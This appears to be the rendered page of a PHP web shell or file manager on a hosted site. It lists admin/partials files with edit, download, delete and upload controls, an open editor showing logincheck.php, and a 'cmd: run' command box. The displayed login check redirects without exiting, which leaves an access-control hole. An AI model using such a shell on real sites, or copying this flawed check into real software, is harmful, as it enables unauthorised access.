/
home
/
gonqkt9zy6pk
/
public_html
/
admin
/
partials
/
/home/gonqkt9zy6pk/public_html/admin/partials
mkdir
upload
Name
Size
Mode
Actions
confic.php
0
0644
edit
dl
rm
footer.php
290
0644
edit
dl
rm
logincheck.php
454
0644
edit
dl
rm
menu.php
652
0644
edit
dl
rm
Edit:
/home/gonqkt9zy6pk/public_html/admin/partials/logincheck.php
(454B)
<?php //Authoizaton - Access Control //Check whether the user is logged in or not. if(!isset($_SESSION['user'])) //If user session is not set { //user is not logged in redirect to login page with message $_SESSION['no-login-message'] = "<div class='error text-center'>Please login to access Admin Panel.</div>"; //Redirect to Login Page header('location:'.SITEURL.'admin/login.php'); } else { echo ('Welcome '.$_SESSION['user']); } ?>
Save
cmd:
run